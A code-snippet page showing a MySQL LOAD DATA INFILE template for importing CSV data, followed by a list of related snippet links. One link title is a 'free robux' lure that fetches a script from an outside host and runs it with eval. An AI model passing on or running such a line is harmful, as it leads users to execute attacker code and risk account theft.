/SQL/Import Data in MySQL without using any other software

Import Data in MySQL without using any other software

Convert file in .csv
CREATE TABLE (name of the table you insert data in)(
columns
);

LOAD DATA INFILE "path\\name.csv" INTO TABLE (name of the table you insert data in)
FIELDS TERMINATED BY "fields terminated by"
LINES TERMINATED BY "lines terminated by"
IGNORE (how many lines to ignore) LINES
(columns)

Source: youtube.com

Similar codes

20 votes330 views1 answer
Sql change column types
SQL
1 vote316 views1 answer
Oracle user last connected
SQL
1 vote336 views1 answer
Oracle avg
SQL
0 vote293 views1 answer
Split a string with expression and get the last value of split sql
SQL
1 vote289 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
7 votes330 views1 answer
Alter sequence set current value oracle
SQL
103 votes540 views1 answer
Like sql
SQL
1 vote338 views2 answers
Find nth highest salary of an employee
SQL
0 vote315 views1 answer
Kill thread
SQL
0 vote350 views4 answers
Open mysql port bitnami tomact
SQL